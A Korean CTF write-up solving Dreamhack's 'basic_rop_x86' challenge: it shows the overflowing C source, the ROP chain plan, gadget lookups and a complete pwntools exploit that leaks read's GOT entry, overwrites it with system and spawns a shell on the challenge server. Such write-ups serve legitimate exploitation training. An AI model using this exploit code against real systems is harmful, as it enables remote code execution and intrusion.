문제풀이
└─# checksec basic_rop_x86
[*] '/root/dream/rop32/basic_rop_x86'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
NX가 적용됐다.
메모리 공간에서 쉘코드를 실행하는 방식의 접근은 힘들어보인다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
buf[0x40]
선언- buf에 0x400 바이트 입력
- buf 출력
buf 입력 과정에서 BOF가 발생한다. 하지만 메모리에서 쉘코드를 실행하는 방식의 접근은 불가능하다.
이런 상황에서 이용할 수 있는 공격 방법은 ROP다.
필자는 lazenca x86 ROP를 기반으로 풀이하고 작성했다.
○ ROP chain
read(0, writableArea, sizeof(binsh))
write(1, read_got, sizeof(read_got))
read(0, read_got, sizeof(read_got))
system(writableArea)
read(0, writableArea, sizeof(binsh))
- "/bin/sh" 명령을 쓰기 가능한 메모리 영역에 저장
write(1, read_got, sizeof(read_got))
- read GOT 영역에 저장된 값을 출력
read(0, read_got, sizeof(read_got))
- • read GOT 를 system()로 덮음
read(writeableArea)
==system(writableArea)
- read GOT에 system() 주소가 저장됐으므로 system() 함수가 호출됨
예제를 토대로 공격순서를 생각해보자.
공격 순서
- "/bin/sh"를 bss에 저장
- read GOT를 system()로 덮음
read("/bin/sh") == system("/bin/sh")
를 호출해서 쉘 획득
ROP chain을 구성하기 위해서는 read & write PLT 주소
, GOT 주소
, writeableArea 주소
, system 주소
를 알아야한다.
read & write PLT 주소
, GOT 주소
는 pwntools로 쉽게 구할 수 있다.
system 주소
는 read()
와 system()
의 오프셋 차이를 알아내고, read GOT addr
- read offset
+ system offset
을 연산하면 알아낼 수 있다.
writeableArea
은 메모리에서 쓰기 가능한 영역을 의미하는데, gdb로 쓰기 가능한 영역을 찾아야한다.
pwndbg> shell cat /proc/370392/maps
08048000-08049000 r-xp 00000000 08:01 4205622 /root/dream/rop32/basic_rop_x86
08049000-0804a000 r--p 00000000 08:01 4205622 /root/dream/rop32/basic_rop_x86
0804a000-0804b000 rw-p 00001000 08:01 4205622 /root/dream/rop32/basic_rop_x86
f7c00000-f7c20000 r--p 00000000 08:01 666265 /usr/lib/i386-linux-gnu/libc.so.6
f7c20000-f7d99000 r-xp 00020000 08:01 666265 /usr/lib/i386-linux-gnu/libc.so.6
f7d99000-f7e1f000 r--p 00199000 08:01 666265 /usr/lib/i386-linux-gnu/libc.so.6
f7e1f000-f7e21000 r--p 0021e000 08:01 666265 /usr/lib/i386-linux-gnu/libc.so.6
f7e21000-f7e22000 rw-p 00220000 08:01 666265 /usr/lib/i386-linux-gnu/libc.so.6
f7e22000-f7e2c000 rw-p 00000000 00:00 0
f7fbf000-f7fc1000 rw-p 00000000 00:00 0
f7fc1000-f7fc5000 r--p 00000000 00:00 0 [vvar]
f7fc5000-f7fc7000 r-xp 00000000 00:00 0 [vdso]
f7fc7000-f7fc8000 r--p 00000000 08:01 666262 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fc8000-f7fec000 r-xp 00001000 08:01 666262 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fec000-f7ffb000 r--p 00025000 08:01 666262 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7ffb000-f7ffd000 r--p 00033000 08:01 666262 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7ffd000-f7ffe000 rw-p 00035000 08:01 666262 /usr/lib/i386-linux-gnu/ld-linux.so.2
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
gdb로 main()에 break point를 걸고 shell cat /proc/[pid]/maps
명령을 실행하면 메모리에 매핑된 주소를 확인할 수 있다. (pwndbg 사용자는 간편하게 vmmap
명령을 사용하면 된다.)
이 중에서 w 권한이 있는 주소를 찾아보면, 0x0804a000 - 0x0804b000
이 writeableArea 주소
다.
exploit 코드를 작성해보자.
다음은 순서대로 pppr, ppr, pr 가젯이다.
┌──(root㉿kali)-[~/root/dream/x86_rop]
└─# ROPgadget --binary basic_rop_x86 | grep '0x08048689'
0x08048689 : pop esi ; pop edi ; pop ebp ; ret
┌──(root㉿kali)-[~/root/dream/x86_rop]
└─# ROPgadget --binary basic_rop_x86 | grep '0x0804868a'
0x0804868a : pop edi ; pop ebp ; ret
┌──(root㉿kali)-[~/root/dream/x86_rop]
└─# ROPgadget --binary basic_rop_x86 | grep '0x0804868b'
0x0804868b : pop ebp ; ret
ROP chain으로 실행하는 함수들은 3개의 인자를 사용하므로 필자는 pppr 가젯을 사용했다.
다음은 exploit 코드다.
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote("host3.dreamhack.games", 24388)
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")
rop = ROP(e)
binsh = "/bin/sh"
stdin = 0
stdout = 1
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
read_system_offset = libc.symbols['read'] - libc.symbols['system']
writableArea = 0x0804a050
pppr = rop.find_gadget(['pop esi','pop edi','pop ebp'])[0] # 0x08048689
#Address info
log.info("read@plt : " + hex(read_plt))
log.info("read@got : " + hex(read_got))
log.info("write@plt : " + hex(write_plt))
log.info("write@got : " + hex(write_got))
log.info("read system offset : " + hex(read_system_offset))
log.info("Writeable area : " + hex(writableArea))
#exploit
payload = b"\x90"*72
#read(0,writableArea,len(str(binsh)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(writableArea)
payload += p32(len(str(binsh)))
#write(1,read_got,len(str(read_got)))
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)
#read(0,read_got,len(str(read_got)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(len(str(read_got)))
#system(writableArea)
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(writableArea)
p.send(payload + b'\n')
p.send(binsh)
p.recv(0x44)
read = u32(p.recvn(4,timeout=1))
system_addr = read - read_system_offset
p.send(p32(system_addr))
p.interactive()
reference
01.ROP(Return Oriented Programming)-x86 - TechNote - Lazenca.0x0